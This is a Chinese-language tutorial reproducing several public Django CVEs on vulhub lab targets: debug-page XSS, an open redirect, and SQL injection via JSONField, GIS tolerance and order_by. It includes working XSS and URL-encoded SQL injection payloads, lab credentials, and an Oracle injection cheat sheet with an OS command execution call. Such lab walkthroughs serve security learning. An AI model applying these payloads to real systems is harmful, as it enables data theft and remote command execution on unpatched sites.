Django是啥就不多介绍了,直接步入正题吧
Django debug page XSS
漏洞编号:CVE-2017-12794 该漏洞利用版本需小于1.11.5以下(在1.11.5以上已修复漏洞)。产生该漏洞的原因是重复创建具有Unique约束键的值导致出发数据库Unique异常,并且没有对用户输入的字符进行检查与转义。所以,想要利用这个漏洞的条件主要有几下几点:
- Django版本需要小于1.11.5以下
- 输入的参数在数据库中具有Unique约束属性,即唯一性
- 没有对用户输入的参数进行检查与转义
这里以vulhub靶场来演示一下,搭建好靶场后直接访问:
http://127.0.0.1:8000/creat_user/?username=<script>alert(1)</script>
创建用户名为:<script>alert(1)</script>,然后我们在回车一次,在创建一次,就会触发唯一约束报错,同时又没有对用户进行转义导致直接运行用户输入的恶意代码。
通过debug页面查看确实是没有对用户输入参数检查
任意URL跳转漏洞
漏洞编号:CVE-2018-14574 这个漏洞感觉没多大用处,所以我就只直接引用vulhub文档的原话吧:Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞,这里简单演示下吧!搭建环境,直接开干!
跳转成功!!!
Django JSONField/HStoreField SQL注入漏洞
漏洞编号:CVE-2019-14234 开发者在Django中使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。访问vulhub搭建好的靶场:
登录后台:用户名密码为:admin/a123123123
进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/
payload分析:
?detail__a%27+%3d+%27"b"%27)%20and%208888%3dCAST((SELECT%20user)::text%20as%20NUMERIC)--
对detail的参数进行闭合,配合and进行联合报错注入,将select user的内容类型转换成text,在通过CAST将类型转换为NUMERIC类型,结果与8888不相等,判断为假,导致报错,从而带出信息。这里使用的数据库是Postgersql,关于该数据库的详细信息以及注入知识请在本站搜索文章:Postgresql相关知识及注入
Django GIS SQL注入漏洞
漏洞编号:CVE-2020-9402 在Django 3.0.3版本以下的GIS查询功能模块(GPS定位相关模块)中存在的SQL注入漏洞,其产生漏洞的原因是GIS的聚合查询功能中,用户在oracle的数据库且可控tolerance变量,并且要命的是未对该变量做任何的用户输入检查,从而导致了该漏洞。如下是tolerance变量所在的代码:
def vuln(request):
q = request.GET.get('q')
qs=Interstate.objects.annotate(
d=Distance(
Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
Point(0.009735976166628611, -0.00587635491086091, srid=4326),
tolerance = q, # default 0.05
),
).filter(d=D(m=1)).values('name')
这里可以看见直接从数据包中取出q参数赋值给q,q再赋值给tolerance变量,这个过程中完全没有对q进行检查!!!我们搭建靶场模拟一下实战攻击,数据库使用的Oracle,所以下面贴出有关Oracle注入的相关知识:
DBA:代表拥有全部权限,是系统最高权限,只有DBA才可以创建数据库结构
RESOURCE:该权限的用户只可以创建实体,不可以创建数据库
CONNETC:该权限下的用户只可以登录ORACLE,不可以创建数据库也不可以创建实体
dual表:此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生的。与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual
rownum=1:限制查询返回的总行数为一条,列如:rownum<3 表示输出两条数据
# 查询出所有的表
select * from all_tables
# 查询出当前用户的表
select * from user_tables
# 查询出所有的字段
select*from all_tab_columns
# 查询出当前用户的字段
select*from user_tab_columns
# 查版本
select*from v$version
# 报错函数,oracle相关报错很多,这里不一一列举,感兴趣请自行谷歌噢
uti_inaddr.get_host_name((select user from dual))
# Oracle 猜字段
?id=1 order by 3 --+
# 判断回显位
?id=-1 union select null,null,null from dual --+
# 获取信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
# 获取表名
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
# 执行系统命令
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual
访问靶场url
根据前面代码中发现的参数’q’,我们在url中添加参数q并构造闭合sql语句
?q=20)%20%3d%201%20OR%20(select%20utl_inaddr.get_host_name((select%20user%20from%20dual))%20from%20dual)%20is%20null%20%20OR%20(1
该模块除了在tolerance引起的sql注入,还在另外一处也是由于为检查用户输入的原因造成sql注入,位置在union处(tips:tolerance的默认值为:0.05):
from django.contrib.gis.db.models import Union
def vuln2(request):
q = request.GET.get('q')
res = City.objects.aggregate(
Union('point', tolerance=q),
)
return HttpResponse(res)
Union在oracle的作用是起到聚合的作用,将多个sql语句聚合在一起,前提是这些多个sql语句需要保持相同的列数,这与mysql的union相似,上面的输入的sql语句为:
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON
("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID")
WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY
(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1 OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;
这里我们直接构造闭合 ) 即可完成注入,搭建靶场,看下实列:
根据上面输出的sql语句构造闭合
?q=0.05)))%20FROM%20"VULN_COLLECTION2"%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
这个漏洞利用的前提是要知道“VULN_COLLECTION2”在实际生成环境中叫什么,不然报错
Django QuerySet.order_by() SQL注入漏洞
漏洞编号:CVE-2021-35042 Django3.2.4中的QuerySet模块中关于的order_by函数中存在的SQL注入漏洞,原因是未对order by传参进行检查,导致的注入。搭建靶场,访问:
根据漏洞描述,添加order参数进行传参
随便添加一些东西,看debug的报错
可以看见对取到的值是直接赋值并没有检查机制,并且带入数据库的sq语句为:
构造payload
vuln是我们的应用程序和collection模型,实际的每个生产环境是不一样的噢